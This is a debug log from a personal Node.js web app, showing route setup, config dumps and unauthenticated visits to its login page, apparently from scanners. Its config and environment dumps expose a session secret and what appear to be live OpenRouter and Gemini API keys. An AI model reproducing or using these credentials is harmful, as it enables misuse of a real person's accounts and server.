2026-06-02T13:34:55.986Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-02T13:34:55.986Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-02T13:34:55.987Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-02T13:34:55.987Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-02T13:34:55.988Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-02T13:34:55.988Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-02T13:34:55.989Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-02T13:34:55.989Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-02T13:34:55.989Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-02T13:34:55.989Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-02T13:34:55.990Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-02T13:34:55.990Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-02T13:34:55.990Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-02T13:34:55.990Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-02T13:34:55.990Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-02T13:34:55.991Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-02T13:34:55.991Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-02T13:34:55.991Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-02T13:34:56.099Z server-connect:router Serving templateView /
2026-06-02T13:34:56.106Z server-connect:app Executing action step identify
2026-06-02T13:34:56.107Z server-connect:app options: { provider: 'security' }
2026-06-02T13:34:56.109Z server-connect:auth No login cookie found
2026-06-02T13:34:56.110Z server-connect:output identity: false
2026-06-02T13:34:56.110Z server-connect:app Executing action step restrict
2026-06-02T13:34:56.110Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-02T13:34:56.115Z server-connect:output restrict: undefined
2026-06-03T02:06:25.147Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-03T02:06:27.356Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-03T02:06:28.221Z server-connect:setup:upload Upload middleware configured.
2026-06-03T02:06:28.221Z server-connect:secure CSRF Protection initialized
2026-06-03T02:06:28.227Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-03T02:06:28.228Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-03T02:06:28.229Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-03T02:06:28.232Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-03T02:06:28.239Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-03T02:06:28.241Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-03T02:06:28.255Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-03T02:06:28.268Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-03T02:06:28.273Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-03T02:06:28.274Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-03T02:06:28.276Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-03T02:06:28.280Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-03T02:06:28.286Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-03T02:06:28.296Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-03T02:06:28.300Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-03T02:06:28.370Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-03T02:06:28.372Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-03T02:06:28.376Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-03T02:06:28.382Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-03T02:06:28.385Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-03T02:06:28.388Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-03T02:06:28.396Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-03T02:06:28.396Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-03T02:06:28.403Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-03T02:06:28.405Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-03T02:06:28.409Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-03T02:06:28.411Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-03T02:06:28.413Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-03T02:06:28.419Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-03T02:06:28.421Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-03T02:06:28.423Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-03T02:06:28.425Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-03T02:06:28.429Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-03T02:06:28.431Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-03T02:06:28.437Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-03T02:06:28.441Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-03T02:06:28.443Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-03T02:06:28.454Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-03T02:06:29.054Z server-connect:router Serving templateView /
2026-06-03T02:06:29.059Z server-connect:app Executing action step identify
2026-06-03T02:06:29.060Z server-connect:app options: { provider: 'security' }
2026-06-03T02:06:29.066Z server-connect:auth No login cookie found
2026-06-03T02:06:29.066Z server-connect:output identity: false
2026-06-03T02:06:29.066Z server-connect:app Executing action step restrict
2026-06-03T02:06:29.066Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-03T02:06:29.070Z server-connect:output restrict: undefined
2026-06-03T02:06:30.007Z server-connect:router Serving templateView /login
2026-06-03T02:06:30.007Z server-connect:app Executing action step identify
2026-06-03T02:06:30.007Z server-connect:app options: { provider: 'security' }
2026-06-03T02:06:30.008Z server-connect:auth No login cookie found
2026-06-03T02:06:30.008Z server-connect:output identity: false
2026-06-03T02:06:30.008Z server-connect:router Render template layouts/authentication
2026-06-03T02:06:30.008Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.18.186.238',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-04T02:06:30.005Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.18.186.238',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.18.186.238',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-03T11:51:44.882Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-03T11:51:47.139Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-03T11:51:48.001Z server-connect:setup:upload Upload middleware configured.
2026-06-03T11:51:48.001Z server-connect:secure CSRF Protection initialized
2026-06-03T11:51:48.006Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-03T11:51:48.008Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-03T11:51:48.010Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-03T11:51:48.011Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-03T11:51:48.018Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-03T11:51:48.023Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-03T11:51:48.036Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-03T11:51:48.048Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-03T11:51:48.053Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-03T11:51:48.055Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-03T11:51:48.057Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-03T11:51:48.061Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-03T11:51:48.066Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-03T11:51:48.076Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-03T11:51:48.080Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-03T11:51:48.152Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-03T11:51:48.155Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-03T11:51:48.159Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-03T11:51:48.164Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-03T11:51:48.168Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-03T11:51:48.170Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-03T11:51:48.178Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-03T11:51:48.180Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-03T11:51:48.186Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-03T11:51:48.188Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-03T11:51:48.192Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-03T11:51:48.192Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-03T11:51:48.195Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-03T11:51:48.201Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-03T11:51:48.205Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-03T11:51:48.207Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-03T11:51:48.209Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-03T11:51:48.213Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-03T11:51:48.215Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-03T11:51:48.221Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-03T11:51:48.225Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-03T11:51:48.227Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-03T11:51:48.236Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-03T11:51:48.766Z server-connect:router Serving templateView /
2026-06-03T11:51:48.771Z server-connect:app Executing action step identify
2026-06-03T11:51:48.771Z server-connect:app options: { provider: 'security' }
2026-06-03T11:51:48.780Z server-connect:auth No login cookie found
2026-06-03T11:51:48.780Z server-connect:output identity: false
2026-06-03T11:51:48.780Z server-connect:app Executing action step restrict
2026-06-03T11:51:48.780Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-03T11:51:48.784Z server-connect:output restrict: undefined
2026-06-05T01:41:54.584Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T01:41:56.853Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T01:41:57.716Z server-connect:setup:upload Upload middleware configured.
2026-06-05T01:41:57.717Z server-connect:secure CSRF Protection initialized
2026-06-05T01:41:57.723Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T01:41:57.724Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T01:41:57.727Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T01:41:57.729Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T01:41:57.733Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T01:41:57.739Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T01:41:57.751Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T01:41:57.764Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T01:41:57.769Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T01:41:57.771Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T01:41:57.773Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T01:41:57.777Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T01:41:57.782Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T01:41:57.792Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T01:41:57.798Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T01:41:57.870Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T01:41:57.873Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T01:41:57.876Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T01:41:57.882Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T01:41:57.886Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T01:41:57.889Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T01:41:57.895Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T01:41:57.898Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T01:41:57.905Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T01:41:57.905Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T01:41:57.909Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T01:41:57.911Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T01:41:57.913Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-05T01:41:57.920Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-05T01:41:57.920Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-05T01:41:57.923Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-05T01:41:57.925Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-05T01:41:57.928Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-05T01:41:57.931Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-05T01:41:57.937Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-05T01:41:57.942Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-05T01:41:57.942Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-05T01:41:57.953Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-05T01:41:58.490Z server-connect:router Serving templateView /
2026-06-05T01:41:58.494Z server-connect:app Executing action step identify
2026-06-05T01:41:58.494Z server-connect:app options: { provider: 'security' }
2026-06-05T01:41:58.500Z server-connect:auth No login cookie found
2026-06-05T01:41:58.500Z server-connect:output identity: false
2026-06-05T01:41:58.500Z server-connect:app Executing action step restrict
2026-06-05T01:41:58.500Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-05T01:41:58.503Z server-connect:output restrict: undefined
2026-06-05T01:41:58.636Z server-connect:router Serving templateView /login
2026-06-05T01:41:58.637Z server-connect:app Executing action step identify
2026-06-05T01:41:58.637Z server-connect:app options: { provider: 'security' }
2026-06-05T01:41:58.637Z server-connect:auth No login cookie found
2026-06-05T01:41:58.637Z server-connect:output identity: false
2026-06-05T01:41:58.637Z server-connect:router Render template layouts/authentication
2026-06-05T01:41:58.638Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sentry-trace': '59b57d557b9945ed9d99f5ab39bcf2ea-b49afac223aec00c-0',
    baggage: 'sentry-trace_id=59b57d557b9945ed9d99f5ab39bcf2ea,sentry-sample_rand=0.260171,sentry-environment=production,sentry-release=1.6.1,sentry-public_key=a29b631a21524e2b9f82b5894c61596d,sentry-transaction=Process%20job%20-%20run%20selected%20pipelines,sentry-sample_rate=0.00125,sentry-sampled=false',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.35/36 Safari/537.36',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '107.172.124.231',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-06T01:41:58.635Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '107.172.124.231',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'HEAD',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_SENTRY_TRACE: '59b57d557b9945ed9d99f5ab39bcf2ea-b49afac223aec00c-0',
    HTTP_BAGGAGE: 'sentry-trace_id=59b57d557b9945ed9d99f5ab39bcf2ea,sentry-sample_rand=0.260171,sentry-environment=production,sentry-release=1.6.1,sentry-public_key=a29b631a21524e2b9f82b5894c61596d,sentry-transaction=Process%20job%20-%20run%20selected%20pipelines,sentry-sample_rate=0.00125,sentry-sampled=false',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.35/36 Safari/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '107.172.124.231',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-05T02:00:02.326Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-05T02:00:02.500Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-05T02:00:02.585Z server-connect:setup:upload Upload middleware configured.
2026-06-05T02:00:02.585Z server-connect:secure CSRF Protection initialized
2026-06-05T02:00:02.587Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-05T02:00:02.588Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-05T02:00:02.589Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-05T02:00:02.589Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-05T02:00:02.590Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-05T02:00:02.591Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-05T02:00:02.591Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-05T02:00:02.592Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-05T02:00:02.595Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-05T02:00:02.595Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-05T02:00:02.596Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-05T02:00:02.596Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-05T02:00:02.596Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-05T02:00:02.597Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-05T02:00:02.597Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-05T02:00:02.597Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-05T02:00:02.597Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-05T02:00:02.598Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-05T02:00:02.598Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-05T02:00:02.598Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-05T02:00:02.599Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-05T02:00:02.599Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-05T02:00:02.599Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-05T02:00:02.600Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-05T02:00:02.600Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-05T02:00:02.600Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-05T02:00:02.600Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-05T02:00:02.600Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
